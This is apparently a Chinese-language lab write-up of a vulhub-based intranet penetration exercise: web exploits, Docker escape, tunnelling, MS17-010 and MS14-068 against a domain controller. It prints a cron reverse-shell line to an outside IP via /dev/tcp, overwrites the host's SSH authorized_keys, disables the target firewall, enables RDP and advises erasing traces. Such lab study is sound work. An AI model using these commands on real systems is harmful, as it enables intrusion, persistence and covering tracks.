额...这次有点难,有些地方根据自己以前的固定思路遇到了更多的问题 但是还可以。我学到了很多。还有很多东西要复习。你可以试试 链接:https://pan.baidu.com/s/1QxpyjtGsygmyMvpoGWgYlw 提取码:7uiq
环境搭建
cd /home/ubuntu/Desktop/vulhub/struts/s2-045 docker-compose up -d cd ../../tomcat/CVE-2017-12615 cd ../../phpmyadmin/CVE-2018-12613 Struts2/s2-045 CVE-2017-12615(tomcat put任意写) CVE-2018-12613(phpmyadmin文件包含)
下面开始
收集简单信息
2001 jetty 2002 tomcat 2003 apache 一个个打开看
2001 Struts框架 2002 Tomcat中间件 2003 phpmyadmin,或者空密码登录 先从phpmyadmin本版本包含远程文件
日志包含
可以执行,那就直接写马吧
成功getshell,再回去看Struts,这个直接工具扫一下就知道了,传个jsp马就行
Tomcat 是存在PUT随意写文件,也写文件jsp马结束
session交给MSF,这里有一个小插曲,几乎给了我信心
我还是想直接弹回来。我试了好几次payload不弹,尴尬,老老实实传后门弹session吧
chmod x ma.elf 执行就有了
docker逃逸
因为这是开始的docker环境,所以下面是docker逃逸了
这里真的很尴尬,因为我记得有一个poc可直接使用,结果一打,docker没出来,容器崩了
错误示范:cve-2019-5736,呜呜呜
\n 以下是我们的命令,然后注释上面未使用的部分,Go删除无用的特性,否则报错
go build main.go 将编译好的文件到docker下
现在模拟宿主机进入docker,再次尴尬,不知道问题出在哪里,反正没弹回来,原来docker容器也坏了
其实这种方式使用的条件比较苛刻,需要有人在宿主机执行。exec命令进入当前docker环境 如果宿主机没有人执行,就无法执行docker逃逸的
以下是正确示范。呜呜呜呜呜呜 看了几篇关于docker逃跑的文章,回来试试
当管理员执行时docker run —privileged时,Docker允许访问主机上所有设备的容器,并可以执行mount命令挂载 使用特权模式启动容器可以获得大量设备文件的访问权限
挂载到/paidx0 ,此时宿主机文件可以任意操作。
写一个计划任务弹shell echo '* * * * * bash -i >& /dev/tcp/192.168.118.128/8888 0>&1' >> /paidx0/var/spool/cron/root
又尴尬了,没有反应,想拿个sesson真难
尝试去修改宿主机的ssh秘钥,本地生成秘钥,直接留空密码就行一路回车
拷贝一份秘钥
cp -avx /paidx0/home/ubuntu/.ssh/id_rsa.pub /paidx0/home/ubuntu/.ssh/authorized_keys
再把我们自己生成的秘钥给他替换掉
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzme7s92LMBjQHvkdbcMqYnQLvWMCJ5YaGJpAstkzuPukBPN0pWjrHHvWcJRft4ils6vJEyct+JgEMj0XEx5aZjVngI+T8vdmX1bwM72KVW0J8maCuzUxQmEO5t4rd+oV1CEprDz215QovELeGcGTbbBb/tBIf1V4wILuxwfbSrZFOn4qW7a1ktWwwrRP/FilVKy+4pseX2Ee/G2s9RQWzO6T2+wuGkClPfLV8eJFfUJqqG8bYJaqYCbK4yPj8FdEQ5Ra+1ickY/uPhrx1vwVdOTnhhePFq+bIMuIfgPXuORf5lXAGYvGn33vMvUNy9GqPSlQ+P8JJx8RehA4o9ij8vaIQ1ZvR4LpZtpJ/LHlIA60lohzyfQeGNYxjQuwEMN2z6/15hekJ7josGuU2LTPrVqF/8GNMrGSRL5mtTjxFZCSrXOHGzr1dJOno0dLB5P50dMkIrtl/OWQ06vuTJF5GOH4D/Vch8+oM3YkN6dOLkRKvYhtPT8cpPLZgWuC1le0= kali@kali' > /paidx0/home/ubuntu/.ssh/authorized_keys
我们的秘钥确实是写进ubuntu了,可以免密直接ssh了
ssh -i hack ubuntu@192.168.118.132
内网隧道
开始内网咯,先是常规的搭建一下内网隧道,方便扩大攻击面 宿主机上没有别的环境,就一个python2,所以Neo是用不了,这次用EW
传到宿主机上,启动服务
通过访问宿主机1080端口提供的代理服务访问内网
所以还要修改下这个/etc/proxychains4.conf
nohup ./ew_for_linux64 -s ssocksd -l 1080 &
隧道搭建完毕
直接上fscan,进内网就简单了
(icmp) Target 192.168.93.131 is alive
(icmp) Target 192.168.93.130 is alive
(icmp) Target 192.168.93.132 is alive
192.168.93.130:139 open
192.168.93.131:139 open
192.168.93.131:445 open
192.168.93.131:88 open
192.168.93.130:445 open
192.168.93.130:135 open
192.168.93.131:135 open
192.168.93.132:22 open
[*]192.168.93.130
[->]TESTWIN7-PC
[->]192.168.93.130
[+] NetInfo:
[*]192.168.93.131
[->]WIN-ENS2VR5TR3N
[->]192.168.93.131
[*] 192.168.93.131 [+]DC DEMO\WIN-ENS2VR5TR3N Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.93.131 MS17-010 (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[+] 192.168.93.130 MS17-010 (Windows 7 Enterprise 7601 Service Pack 1)
[*] 192.168.93.130 __MSBROWSE__\TESTWIN7-PC Windows 7 Enterprise 7601 Service Pack 1
好像存在永恒之蓝,试试
额,确实存在ms17-010,但是直接打没打通
又试试设置MSF的流量从ubuntu走
Setg Proxies socks5:192.168.118.132:1080
set payload windows/x64/meterpreter/bind_tcp
set AutoRunScript post/windows/manage/migrate
还是没通,郁闷了一下午,讲道理不应该啊
晚上又回来看了看,看了下别的师傅打的记录,这里他们还传了chisel 上去,说是直接打的话ms17-010很不稳定
./chisel server -p 2333 --socks5
./chisel client 192.168.118.132:2333 socks
横向域控
再试试就通了,win7 session到手,下面是开始拿域控了
桌面上有mimikatz,拿来试试,行吧只抓到了win7这台机子
桌面上还有个ms14-068,先去看看这个怎么用
如果攻击者获取了域内任何一台计算机的 shell 权限,同时知道任意域用户的用户名、SID、密码,即可获取域管理员权限。
漏洞产生原理:用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据。
如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。
该用户可以将TGT发送到KDC,KDC的TGS(票据授权服务)在验证了TGT后,将服务票据(Server Ticket)发送给该用户,
而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
使用挺简单的,那几个东西用mimikatz就都可以抓到
我们现在手上有win7这台机子的
ms14-068.exe -u 域成员@域名 -s 域成员的sid -d 域控制器的ip -p 域成员密码
Ms14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.93.131 -p Dotest123
目录下生成这么一个票据 TGT_douser@DEMO.COM.ccache
Dir \\WIN-ENS2VR5TR3N\C$ //查看域控制器的C盘
是乱码,我说一下什么意思,就是没权限嘛,哈哈哈
开始注入凭证
kerberos::purge //清空当前机器中所有凭证
kerberos::list //查看当前机器凭证列表
kerberos::ptc TGT_douser@DEMO.COM.ccache //将票据注入到内存中
再试试查看域控制器的C盘
已经算是有了域控的
基本权限了,传个马让MSF接管session
复制到域控机上,起个计划任务,静静等待session自己弹回来
At \\WIN-ENS2VR5TR3N 23:15:00 cmd.exe /c "c:\demo.exe"
尴尬了,没弹回来,难道是防火墙栏了
关掉防火墙去
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
再试一次计划任务 果然是防火墙,继续传个mimikatz上去抓域控的密码
开个3389,给他连上去
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
自己加个管理员用户进去啥的,最后记得删除痕迹和上传上来的东西,然后跑路,哈哈哈哈
总结一下嘛
好难好难好难,害,还是好几个地方卡住了,好菜啊呜呜呜
思路太死板了,就会那么几种常规方式,还够的学了